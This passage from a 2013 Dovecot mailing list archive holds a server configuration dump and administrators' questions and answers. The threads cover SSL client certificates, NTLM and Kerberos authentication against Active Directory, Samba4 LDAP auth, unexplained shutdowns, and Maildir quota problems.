managesieve_implementation_string = Dovecot Pigeonhole managesieve_logout_format = bytes=%i/%o managesieve_max_compile_errors = 5 managesieve_max_line_length = 65536 managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave master_user_separator = mbox_dirty_syncs = yes mbox_dotlock_change_timeout = 2 mins mbox_lazy_writes = yes mbox_lock_timeout = 5 mins mbox_md5 = apop3d mbox_min_index_size = 0 mbox_read_locks = fcntl mbox_very_dirty_syncs = no mbox_write_locks = dotlock fcntl mdbox_preallocate_space = no mdbox_rotate_interval = 0 mdbox_rotate_size = 2 M mmap_disable = no namespace { disabled = no hidden = no ignore_on_failure = no inbox = yes list = yes location = maildir:/var/mail/%d/%n:LAYOUT=fs:INBOX=/var/mail/%d/%n/maildirfolder:DIRNAME=maildirfolder:INDEX=/var/mail/indexes/%d/%n:UTF-8 mailbox Archive { auto = subscribe driver = special_use = \Archive } mailbox Drafts { auto = subscribe driver = special_use = \Drafts } mailbox Junk { auto = subscribe driver = special_use = \Junk } mailbox Sent { auto = subscribe driver = special_use = \Sent } mailbox Trash { auto = subscribe driver = special_use = \Trash } prefix = separator = / subscriptions = yes type = private } namespace { disabled = no hidden = no ignore_on_failure = no inbox = no list = yes location = virtual:/etc/dovecot/virtual:CONTROL=/var/mail/controls/%d/%n/Вся почта:INDEX=/var/mail/indexes/%d/%n/Вся почта:UTF-8 mailbox { auto = subscribe driver = special_use = \All } prefix = Вся почта/ separator = / subscriptions = no type = private } passdb { args = /etc/dovecot/dovecot-pgsql-master.conf default_fields = deny = no driver = sql master = yes override_fields = pass = no result_failure = continue result_internalfail = continue result_success = return-ok skip = never } passdb { args = /etc/dovecot/dovecot-pgsql.conf default_fields = deny = no driver = sql master = no override_fields = pass = no result_failure = continue result_internalfail = continue result_success = return-ok skip = never } plugin { expire = Trash expire2 = Trash/* expire3 = Junk expire_dict = proxy::expire metadata_dict = proxy::metadata sieve = /var/mail/%d/%n/dovecot.sieve sieve_before = /var/lib/dovecot/sieve/ sieve_dir = /var/mail/%d/%n/maildirfolder sieve_max_actions = 32 sieve_max_redirects = 4 sieve_max_script_size = 1M } pop3_client_workarounds = pop3_deleted_flag = pop3_enable_last = no pop3_fast_size_lookups = no pop3_lock_session = no pop3_logout_format = top=%t/%p, retr=%r/%b, del=%d/%m, size=%s pop3_no_flag_updates = no pop3_reuse_xuidl = no pop3_save_uidl = no pop3_uidl_duplicates = allow pop3_uidl_format = %08Xu%08Xv pop3c_host = pop3c_master_user = pop3c_password = pop3c_port = 110 pop3c_rawlog_dir = pop3c_ssl = no pop3c_ssl_verify = yes pop3c_user = %u postmaster_address = protocols = imap sieve quota_full_tempfail = no recipient_delimiter = + rejection_reason = Your message to <%t> was automatically rejected:%n%r rejection_subject = Rejected: %s replication_full_sync_interval = 1 days replication_max_conns = 10 replicator_host = replicator replicator_port = 0 sendmail_path = /usr/sbin/sendmail service aggregator { chroot = . client_limit = 0 drop_priv_before_exec = no executable = aggregator extra_groups = fifo_listener replication-notify-fifo { group = mode = 0600 user = } group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = unix_listener replication-notify { group = mode = 0600 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service anvil { chroot = empty client_limit = 0 drop_priv_before_exec = no executable = anvil extra_groups = group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 1 protocol = service_count = 0 type = anvil unix_listener anvil-auth-penalty { group = mode = 0600 user = } unix_listener anvil { group = mode = 0600 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service auth-worker { chroot = client_limit = 4096 drop_priv_before_exec = no executable = auth -w extra_groups = group = idle_kill = 0 privileged_group = process_limit = 2048 process_min_avail = 10 protocol = service_count = 0 type = unix_listener auth-worker { group = mode = 0600 user = $default_internal_user } user = vsz_limit = 1 G } service auth { chroot = client_limit = 10240 drop_priv_before_exec = no executable = auth extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1 process_min_avail = 1 protocol = service_count = 0 type = unix_listener auth-client { group = mail mode = 0660 user = mail } unix_listener auth-login { group = mode = 0600 user = $default_internal_user } unix_listener auth-master { group = mail mode = 0664 user = mail } unix_listener auth-userdb { group = mode = 0666 user = $default_internal_user } unix_listener login/login { group = mode = 0666 user = } unix_listener token-login/tokenlogin { group = mode = 0666 user = } user = dovecot vsz_limit = 1 G } service config { chroot = client_limit = 0 drop_priv_before_exec = no executable = config extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = config unix_listener config { group = mode = 0600 user = } user = vsz_limit = 18446744073709551615 B } service dict { chroot = client_limit = 1 drop_priv_before_exec = no executable = dict extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = unix_listener dict { group = dovecot mode = 0666 user = mail } user = $default_internal_user vsz_limit = 18446744073709551615 B } service director { chroot = . client_limit = 0 drop_priv_before_exec = no executable = director extra_groups = fifo_listener login/proxy-notify { group = mode = 00 user = } group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener director-admin { group = mode = 0600 user = } unix_listener login/director { group = mode = 00 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service dns_client { chroot = client_limit = 1 drop_priv_before_exec = no executable = dns-client extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = unix_listener dns-client { group = mode = 0666 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service doveadm { chroot = client_limit = 1 drop_priv_before_exec = no executable = doveadm-server extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 1 type = unix_listener doveadm-server { group = mode = 0600 user = } user = vsz_limit = 18446744073709551615 B } service imap-login { chroot = login client_limit = 4096 drop_priv_before_exec = no executable = imap-login extra_groups = group = idle_kill = 0 inet_listener imap { address = port = 143 ssl = no } inet_listener imaps { address = port = 993 ssl = yes } privileged_group = process_limit = 2048 process_min_avail = 10 protocol = imap service_count = 0 type = login user = dovecot vsz_limit = 1 G } service imap-urlauth-login { chroot = token-login client_limit = 0 drop_priv_before_exec = no executable = imap-urlauth-login extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = imap service_count = 1 type = login unix_listener imap-urlauth { group = mode = 0666 user = } user = $default_login_user vsz_limit = 18446744073709551615 B } service imap-urlauth-worker { chroot = client_limit = 1 drop_priv_before_exec = no executable = imap-urlauth-worker extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = imap service_count = 1 type = unix_listener imap-urlauth-worker { group = mode = 0600 user = $default_internal_user } user = vsz_limit = 18446744073709551615 B } service imap-urlauth { chroot = client_limit = 1 drop_priv_before_exec = no executable = imap-urlauth extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = imap service_count = 1 type = unix_listener token-login/imap-urlauth { group = mode = 0666 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service imap { chroot = client_limit = 4096 drop_priv_before_exec = no executable = imap extra_groups = group = idle_kill = 0 privileged_group = process_limit = 2048 process_min_avail = 10 protocol = imap service_count = 0 type = unix_listener login/imap { group = mode = 0666 user = } user = vsz_limit = 1 G } service indexer-worker { chroot = client_limit = 1 drop_priv_before_exec = no executable = indexer-worker extra_groups = group = idle_kill = 0 privileged_group = process_limit = 10 process_min_avail = 0 protocol = service_count = 0 type = unix_listener indexer-worker { group = mode = 0600 user = $default_internal_user } user = vsz_limit = 18446744073709551615 B } service indexer { chroot = client_limit = 0 drop_priv_before_exec = no executable = indexer extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener indexer { group = mode = 0666 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service ipc { chroot = empty client_limit = 0 drop_priv_before_exec = no executable = ipc extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener ipc { group = mode = 0600 user = } unix_listener login/ipc-proxy { group = mode = 0600 user = $default_login_user } user = $default_internal_user vsz_limit = 18446744073709551615 B } service lmtp { chroot = client_limit = 1 drop_priv_before_exec = no executable = lmtp extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 type = unix_listener lmtp { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service log { chroot = client_limit = 0 drop_priv_before_exec = no executable = log extra_groups = group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = log unix_listener log-errors { group = mode = 0600 user = } user = vsz_limit = 18446744073709551615 B } service managesieve-login { chroot = login client_limit = 4096 drop_priv_before_exec = no executable = /usr/lib/dovecot/managesieve-login extra_groups = group = idle_kill = 0 inet_listener sieve { address = port = 4190 ssl = no } privileged_group = process_limit = 2048 process_min_avail = 10 protocol = sieve service_count = 0 type = login user = dovecot vsz_limit = 1 G } service managesieve { chroot = client_limit = 4096 drop_priv_before_exec = no executable = /usr/lib/dovecot/managesieve extra_groups = group = idle_kill = 0 privileged_group = process_limit = 2048 process_min_avail = 10 protocol = sieve service_count = 0 type = unix_listener login/sieve { group = mode = 0666 user = } user = vsz_limit = 1 G } service pop3-login { chroot = login client_limit = 0 drop_priv_before_exec = no executable = pop3-login extra_groups = group = idle_kill = 0 inet_listener pop3 { address = port = 110 ssl = no } inet_listener pop3s { address = port = 995 ssl = yes } privileged_group = process_limit = 0 process_min_avail = 0 protocol = pop3 service_count = 1 type = login user = $default_login_user vsz_limit = 18446744073709551615 B } service pop3 { chroot = client_limit = 1 drop_priv_before_exec = no executable = pop3 extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = pop3 service_count = 1 type = unix_listener login/pop3 { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service replicator { chroot = client_limit = 0 drop_priv_before_exec = no executable = replicator extra_groups = group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener replicator-doveadm { group = mode = 00 user = $default_internal_user } unix_listener replicator { group = mode = 0600 user = $default_internal_user } user = vsz_limit = 18446744073709551615 B } service ssl-params { chroot = client_limit = 0 drop_priv_before_exec = no executable = ssl-params extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = startup unix_listener login/ssl-params { group = mode = 0666 user = } unix_listener ssl-params { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service stats { chroot = empty client_limit = 0 drop_priv_before_exec = no executable = stats extra_groups = fifo_listener stats-mail { group = mode = 0600 user = } group = idle_kill = 4294967295 secs privileged_group = process_limit = 1 process_min_avail = 0 protocol = service_count = 0 type = unix_listener stats { group = mode = 0600 user = } user = $default_internal_user vsz_limit = 18446744073709551615 B } service submission-login { chroot = login client_limit = 0 drop_priv_before_exec = no executable = submission-login extra_groups = group = idle_kill = 0 inet_listener submission { address = port = 587 ssl = no } privileged_group = process_limit = 0 process_min_avail = 0 protocol = submission service_count = 1 type = login user = $default_login_user vsz_limit = 18446744073709551615 B } service submission { chroot = client_limit = 1 drop_priv_before_exec = no executable = submission extra_groups = group = idle_kill = 0 privileged_group = process_limit = 1024 process_min_avail = 0 protocol = submission service_count = 1 type = unix_listener login/submission { group = mode = 0666 user = } user = vsz_limit = 18446744073709551615 B } service tcpwrap { chroot = client_limit = 1 drop_priv_before_exec = no executable = tcpwrap extra_groups = group = idle_kill = 0 privileged_group = process_limit = 0 process_min_avail = 0 protocol = service_count = 0 type = user = $default_internal_user vsz_limit = 18446744073709551615 B } shutdown_clients = yes ssl = yes ssl_ca = ssl_cert = </etc/ssl/dovecot/example.com.ca.crt ssl_cert_username_field = commonName ssl_cipher_list = ALL:!LOW:!SSLv2 ssl_client_ca_dir = ssl_client_ca_file = ssl_client_cert = ssl_client_key = ssl_crypto_device = ssl_key = </etc/ssl/dovecot/example.com.key ssl_key_password = ssl_parameters_regenerate = 1 hours ssl_protocols = !SSLv2 ssl_require_crl = yes ssl_verify_client_cert = no state_dir = /var/lib/dovecot stats_command_min_time = 1 mins stats_domain_min_time = 12 hours stats_ip_min_time = 12 hours stats_memory_limit = 16 M stats_session_min_time = 15 mins stats_user_min_time = 1 hours submission_host = submission_relay_host = submission_relay_master_user = submission_relay_max_idle_time = 29 mins submission_relay_password = submission_relay_port = 25 submission_relay_rawlog_dir = submission_relay_send_xclient = no submission_relay_ssl = no submission_relay_ssl_verify = yes submission_relay_user = syslog_facility = mail userdb { args = /etc/dovecot/dovecot-pgsql.conf default_fields = driver = sql override_fields = } valid_chroot_dirs = /var/mail/ verbose_proctitle = yes verbose_ssl = no version_ignore = no protocol imap { mail_max_userip_connections = 1024 mail_plugins = expire virtual metadata imap_metadata imap_annotatemore } protocol lda { hostname = mail.example.com info_log_path = /var/log/dovecot/dovecot-local-deliver.log log_path = /var/log/dovecot/dovecot-local-deliver-errors.log mail_plugins = expire sieve virtual postmaster_address = admin(a)example.com } protocol sieve { managesieve_max_line_length = 65536 }

1 0

[Dovecot] IMAPS: Disable SSL connection without client certificate
by Ireneusz Szcześniak 02 Jul '13

02 Jul '13

I've been using Dovecot 2.1.8 on OpenBSD 5.2 i386 for about a month. It works great. Dovecot serves IMAPS only, and I'm using Thunderbird to access my mail. I configured Dovecot to allow clients that present a valid certificate when establishing SSL connection. I configure my Thunderbird for SSL/TLS connection with normal password. It works fine. However, with my config anybody can connect to my server without presenting a certificate: > openssl s_client -connect server:993 > (...) > * OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS > ID ENABLE IDLE AUTH=PLAIN] Dovecot ready. Luckily, after connecting without a certificate logging fails: > a001 login iszczesniak password > a001 NO [ALERT] Client didn't present valid SSL certificate *QUESTION: Is there a way in Dovecot to disable establishing an SSL connection without a client certificate?* My complete config is : # dovecot -n # 2.1.8: /etc/dovecot/dovecot.conf # OS: OpenBSD 5.2 i386 auth_ssl_require_client_cert = yes mail_location = maildir:~/archive/mail mbox_write_locks = fcntl mmap_disable = yes namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Sent { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = bsdauth } protocols = imap service imap-login { inet_listener imap { port = 0 } } ssl_ca = </etc/ssl/certs/cacertcrl.pem ssl_cert = </etc/ssl/cert.pem ssl_key = </etc/ssl/private/key.pem ssl_verify_client_cert = yes userdb { driver = passwd } verbose_ssl = yes protocol imap { imap_client_workarounds = delay-newmail tb-extra-mailbox-sep tb-lsub-flags } protocol pop3 { pop3_client_workarounds = outlook-no-nuls oe-ns-eoh } -- Ireneusz (Irek) Szczesniak http://www.irkos.org

5 12

[Dovecot] Doubt the relationship between NTLM and Kerberos.
by Maria Jose Yañez Dacosta 01 Jul '13

01 Jul '13

Could someone explain to me what role does the Authenticating Kerberos NTLM in Authenticating NTLM explained in http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm ? Not understand that relationship between NTLM and Kerberos?. I have to configure thunderbird with simple password method and leave the password to be blank or have to use the gssapi? Although gssapi not supported by windows right? You have to generate a keytab for imap server against AD? I should create in windows and copy it to linux where I have my imap server? I appreciate someone can explain this. Thank you!. -- Maria José

2 1

Re: [Dovecot] Samba4 and user auth
by Pavel Herrmann 01 Jul '13

01 Jul '13

Hi On Monday 01 July 2013 12:36:39 Carsten Laun-De Lellis wrote: > Hi Pavel > > Thankx for your reply. > > When you were setting up your ldap query what kind of password crypto > did you specify plain ntlm gssapi or anything else? The password field > in your query is userPassword or am I wrong here? the password field is hidden (only the user can see it) by default, and not stored as a unix-friendly value (anything a crypt() would understand) what I use is auth_bind (which uses user-supplied password to bind to the LDAP directory). what it means is that on every login there are 2 lookups (first one using your "service" DN to find the user DN, second one with your user DN to check the password) that also means that you need a password format that your LDAP can understand (mostly a plaintext password, or NTLM if your mail server is a Samba domain member). As long as you only offer IMAP/SSL I dont think plaintext (as in "auth_mechanisms = plain") is an issue, security wise. as far as the service account (the one that is used to look up users) goes, I am using the default option (setting "dn" and "dnpass" variables), which I think is a simple bind. it is possible that it only works because Samba4 and dovecot run on the same machine. Pavel Herrmann > > I will try it again. > --- > > Mit freundlichem Gruß > > Carsten Laun-De Lellis > > Hauptstrasse 13 > D-67705 Trippstadt > > Phone: +49 6306 992140 > Fax: +49 6306 992142 > Mobile: +49 151 27530865 > email: carsten.delellis(a)delellis.net > > http://www.linkedin.com/in/carstenlaundelellis [1] > > Am 2013-07-01 11:24, schrieb Pavel Herrmann: > > Hi > > > > On Friday 28 June 2013 07:17:39 Carsten Laun-De Lellis wrote: > >> Hi all I am trying to set up an email Server with a Samba4 AD as user > >> Directory. Does anybody know a good how-to to setup user auth against AD > >> ? Or could anyone tell me how to do it? I am having an email Server up > >> and running with openldap but want to change to Samba4 AD, because of > >> the openchange Integration. I would appreciate any help on this topic.> > > I have an AD/Samba4 auth for dovecot, it works the same as any LDAP would > > (with authenticated lookups and auth_bind) > > > > I would suggest you try it, and ask if there are any issues. > > > > Pavel Herrmann > > Links: > ------ > [1] http://www.linkedin.com/in/carstenlaundelellis

2 1

[Dovecot] Server shutting down
by Simon B 01 Jul '13

01 Jul '13

Hi I recently moved to Debian Wheezy and installed dovecot from apt-get. root@mail:~# dpkg -l | grep dovecot ii dovecot-common 1:2.1.7-7 all Transitional package for dovecot ii dovecot-core 1:2.1.7-7 amd64 secure mail server that supports mbox, maildir, dbox and mdbox mailboxes ii dovecot-gssapi 1:2.1.7-7 amd64 GSSAPI authentication support for Dovecot ii dovecot-imapd 1:2.1.7-7 amd64 secure IMAP server that supports mbox, maildir, dbox and mdbox mailboxes ii dovecot-ldap 1:2.1.7-7 amd64 LDAP support for Dovecot ii dovecot-managesieved 1:2.1.7-7 amd64 secure ManageSieve server for Dovecot ii dovecot-mysql 1:2.1.7-7 amd64 MySQL support for Dovecot ii dovecot-pgsql 1:2.1.7-7 amd64 PostgreSQL support for Dovecot ii dovecot-pop3d 1:2.1.7-7 amd64 secure POP3 server that supports mbox, maildir, dbox and mdbox mailboxes ii dovecot-sieve 1:2.1.7-7 amd64 sieve filters support for Dovecot ii dovecot-sqlite 1:2.1.7-7 amd64 SQLite support for Dovecot Having previously been on 1.2 on Debian Squeeze the upgrade went flawlessly (and automatically, as I'd already placed the 1.2 dovecot.conf file before installing 2.1.7). And I've been very happy. However, yesterday the server just just shutdown. /var/log/mail.log.1:42890:Jun 30 17:27:04 mail dovecot: imap: Server shutting down. in=14 out=648 /var/log/mail.log.1:42891:Jun 30 17:27:04 mail dovecot: imap: Server shutting down. in=14 out=648 /var/log/mail.log.1:42893:Jun 30 17:27:04 mail dovecot: imap: Server shutting down. in=14 out=648 /var/log/mail.log.1:42895:Jun 30 17:27:34 mail dovecot: imap: Server shutting down. in=739 out=2081 /var/log/mail.log.1:42896:Jun 30 17:27:34 mail dovecot: imap: Server shutting down. in=1764 out=4027 There's no error|panic|warning|fatal messages in any of the logs. root@mail:~# grep -in dovecot /var/log/syslog | grep '(fatal|error|warning|panic)' root@mail:~# grep -in dovecot /var/log/messages | grep '(fatal|error|warning|panic)' root@mail:~# grep -in dovecot /var/log/daemon.log | grep '(fatal|error|warning|panic)' root@mail:~# grep -inr dovecot /var/log/mail* | grep '(fatal|error|warning|panic)' Although everything should log to mail.log if I set up rsyslog properly. The timestamp is not correlated to any of my cron jobs. How can I find out what caused this? Of course with Dovecot shut down Postfix refused to send mail as there was no auth service available. Simon

2 2

[Dovecot] Samba4 and user auth
by Carsten Laun-De Lellis 01 Jul '13

01 Jul '13

Hi all I am trying to set up an email Server with a Samba4 AD as user Directory. Does anybody know a good how-to to setup user auth against AD ? Or could anyone tell me how to do it? I am having an email Server up and running with openldap but want to change to Samba4 AD, because of the openchange Integration. I would appreciate any help on this topic. -- Mit freundlichem Gruß Carsten Laun-De Lellis Hauptstrasse 13 D-67705 Trippstadt Phone: +49 6306 992140 Fax: +49 6306 992142 Mobile: +49 151 27530865 email: carsten.delellis(a)delellis.net http://www.linkedin.com/in/carstenlaundelellis [1] Links: ------ [1] http://www.linkedin.com/in/carstenlaundelellis

2 1

[Dovecot] LIST command -- quoting of folder names
by Eric Abrahamsen 01 Jul '13

01 Jul '13

If I open an imap connection to a local maildir installation like so: /usr/lib/dovecot/imap -o mail_location=maildir:$HOME/.mail/account/:LAYOUT=fs And issue: c list "" * This is the result (this is a gmail account): * LIST (\HasChildren) "/" [Gmail] * LIST (\HasNoChildren) "/" [Gmail]/Spam * LIST (\HasNoChildren) "/" [Gmail]/Starred * LIST (\HasNoChildren) "/" [Gmail]/Trash * LIST (\HasNoChildren) "/" [Gmail]/Drafts * LIST (\HasNoChildren) "/" "[Gmail]/Sent Mail" * LIST (\HasNoChildren) "/" [Gmail]/Important * LIST (\HasNoChildren) "/" INBOX Only "[Gmail]/Sent Mail" is quoted. This is messing up gnus, my MUA, which truncates other folder names after the / separator. Examples of testing I've seen online have shown all folder names quoted, which would allow things to work correctly here. Is this something I can affect with local configuration, or is there some other solution? Would removing "LAYOUT=fs" affect this issue? Thanks! Eric Output of dovecot -n: # 2.2.4: /etc/dovecot/dovecot.conf # OS: Linux 3.9.7-1-ARCH i686 Arch Linux info_log_path = /var/log/dovecot-info.log log_path = /var/log/dovecot.log protocols = imap

2 2

Re: [Dovecot] Passdb + single sing on + NTLM + Thunderbird.
by Luis Binotto HOTMAIL 28 Jun '13

28 Jun '13

Hello I have configured Dovecot against AD, using outlook with NTLM and is working like a charm... Try the following this link... http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm I hope this will help you... -----Original Message----- From: dovecot-bounces(a)dovecot.org [mailto:dovecot-bounces@dovecot.org] On Behalf Of Maria Jose Yañez Dacosta Sent: viernes, 28 de junio de 2013 02:59 p.m. To: Dovecot Mailing List Subject: Re: [Dovecot] Passdb + single sing on + NTLM + Thunderbird. "Notificación Automática: Este mensaje ha sido recibido desde la Internet, no se garantiza la autenticidad del remitente. " Thank you very much for the reply :) I try with that. 2013/6/27 Stan Hoeppner <stan(a)hardwarefreak.com> > On 6/27/2013 7:48 AM, Maria Jose Yañez Dacosta wrote: > > Thanks!!. > > I have a little question, > > This page explains AUTH = GSSAPI but I'm interested in AUTH = NTLM. > > I want to get single sign on with clients in Windows against a > > Windows Active Directory. > > For NTLM should use another library like pam_krb5.so? > > Sorry for so many questions and thanks again > > http://wiki2.dovecot.org/Authentication/Mechanisms/Winbind > http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM > > > 2013/6/26 Stan Hoeppner <stan(a)hardwarefreak.com> > > > >> On 6/26/2013 1:17 PM, Maria Jose Yañez Dacosta wrote: > >> > >>> I want to use single sign on from Windows with Thunderbird or > >>> Outlook > >> using > >>> NTLM. > >> > >> http://wiki2.dovecot.org/Authentication/Kerberos > > -- Maria José

1 0

Re: [Dovecot] Passdb + single sing on + NTLM + Thunderbird.
by Stan Hoeppner 28 Jun '13

28 Jun '13

On 6/27/2013 7:48 AM, Maria Jose Yañez Dacosta wrote: > Thanks!!. > I have a little question, > This page explains AUTH = GSSAPI but I'm interested in AUTH = NTLM. > I want to get single sign on with clients in Windows against a Windows > Active Directory. > For NTLM should use another library like pam_krb5.so? > Sorry for so many questions and thanks again http://wiki2.dovecot.org/Authentication/Mechanisms/Winbind http://wiki2.dovecot.org/Authentication/Mechanisms/NTLM > 2013/6/26 Stan Hoeppner <stan(a)hardwarefreak.com> > >> On 6/26/2013 1:17 PM, Maria Jose Yañez Dacosta wrote: >> >>> I want to use single sign on from Windows with Thunderbird or Outlook >> using >>> NTLM. >> >> http://wiki2.dovecot.org/Authentication/Kerberos

2 1

[Dovecot] Issues when compiling dovecot antispam on debian wheezy
by Joan 28 Jun '13

28 Jun '13

I've been trying to compile the latest version of dovecot-antispam, and it doesn't work, the latest patch fixes compilation for dovecot versions greater than 2.1.16 but the packaged version in debian is 2.1.7 and doesn't provide the DOVECOT_PREREQ macro. It seems there are some solutions: 1) Rollback to the last working version so it can be used on wheezy 2) Open a bug report in debian to see if they can backport the macro here ( http://www.dovecot.org/list/dovecot-cvs/2013-March/022903.html) 3) Use the packaged version from debian 4) .. What's your opinion?

2 1

[Dovecot] Zero-sized Maildir files and index corruption on over-quota
by Edgar Fuß 28 Jun '13

28 Jun '13

We are using Postfix as an MTA delivering via Dovecot's LDA (with sieve). We also use Dovecot as a POP/IMAP server. Mail storage is Maildir on NFS, indexes are stored locally. Quotas are FS quotas enforced by the NFS server. The Dovecot version is 1.2.11. Recently, for one user being over quota, some attempts to deliver mail bounced as expected while some others resulted in zero-sized Maildir files. I can verify zero-sized files in cur, while I cannot tell whether they were already zero-sized in new. However, since nobody except Dovecot is accessing the mail storage, it's either Dovecot's LDA or Dovecot's IMAP producing the zero-sized files. Logs show successful delivery (deliver: stored mail into mailbox 'INBOX') but ,,Corrupted index cache file /var/db/dovecot/indexes/XXX/.INBOX/dovecot.index.cache: Corrupted virtual size for uid=YYY: 0 != NNNN'' alerts on IMAP access. It looks like all mails which correctly got bounced are >64KB while those resulting in zero-sized files are <64KB (there is one >32KB). My first guess would be that maybe for large files, write() fails, while for small ones, close() fails or there is some buffering involved for large files.

3 10

[Dovecot] traffic statistics
by Martin Waschbüsch 28 Jun '13

28 Jun '13

Hi all, Does anyone know a good tool to gather traffic statistics for imap? And what level of logging would I need to set for dovecot to make it happen. Ideally this would be able to filter per domain, too. ;-) Thanks a lot, Martin -- Martin Waschbüsch IT-Dienstleistungen Lautensackstr. 16 80687 München Telefon: +49 89 57005708 Fax: +49 89 57868023 Mobil: +49 170 2189794 martin(a)waschbuesch.de http://martin.waschbuesch.de

4 5

[Dovecot] Dovecot NTLM Authentication
by Matthew Larsen 27 Jun '13

27 Jun '13

I'm working on getting authentication for Postfix smtpd clients working with Dovecot. I've got both plain text and GSSAPI mechanisms working. Winbind also works for shell access and the command line test work fine. If I can get NTLM authentication working I can use Postfix as a drop in replacement for a MS MTA I want get rid of. I'm hoping the community might be able to offer some insight into what I'm missing to get NTLM authentication working with Dovecot and Postfix. Something related to winbind I suspect. When I use the NTLM mechanism I get this " auth: Debug: client out: FAIL#0112" message in my maillog file. Nothing seems to show up in the winbind files for this. ---- log file from NTLM mechanism used ---- Jun 26 17:02:53 SBSMTPNV05 postfix/smtpd[2221]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0112#011NTLM#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=TlRM...A= Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0112#011TlRM....A Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0112#011TlRM....Q= Jun 26 17:02:53 SBSMTPNV05 dovecot: auth: winbind(?,10.20.2.0): user not authenticated: NT_STATUS_UNSUCCESSFUL Jun 26 17:02:55 SBSMTPNV05 postfix/smtpd[2221]: warning: nvit01b.mydomain.com[10.20.2.0]: SASL NTLM authentication failed: TlRM....A Jun 26 17:02:55 SBSMTPNV05 dovecot: auth: Debug: client out: FAIL#0112 Jun 26 17:02:59 SBSMTPNV05 postfix/smtpd[2221]: disconnect from nvit01b.mydomain.com[10.20.2.0] ------------------------------------------ ---- log file from GSSAPI mechanism used ----- Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: connect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: auth client connected (pid=2221) Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: AUTH#0111#011GSSAPI#011service=smtp#011nologin#011lip=10.20.4.12#011rip=10.20.2.0#011resp=YIIN.... Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: ....g== Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(?,10.20.2.0): Obtaining credentials for smtp@ Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(myusername(a)MYDOMAIN.COM,10.20.2.0): security context state completed. Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011YIGVB....E= Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011 Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: gssapi(myusername(a)MYDOMAIN.COM,10.20.2.0): Negotiated security layer Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: CONT#0111#011BQQF/w....M= Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client in: CONT#0111#011BQQE/w....u Jun 26 17:02:08 SBSMTPNV05 dovecot: auth: Debug: client out: OK#0111#011user=myusername Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: AE80A80592: client=nvit01b.mydomain.com[10.20.2.0], sasl_method=GSSAPI, sasl_username=myusername Jun 26 17:02:08 SBSMTPNV05 postfix/cleanup[2219]: AE80A80592: message-id=<51CB8100.1010103(a)example.com> Jun 26 17:02:08 SBSMTPNV05 postfix/qmgr[1999]: AE80A80592: from=<matthew(a)example.com>, size=2178, nrcpt=1 (queue active) Jun 26 17:02:08 SBSMTPNV05 postfix/smtpd[2221]: disconnect from nvit01b.mydomain.com[10.20.2.0] Jun 26 17:02:09 SBSMTPNV05 postfix/smtp[2220]: AE80A80592: to=<utegrad(a)gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.129.27]:25, delay=0.93, 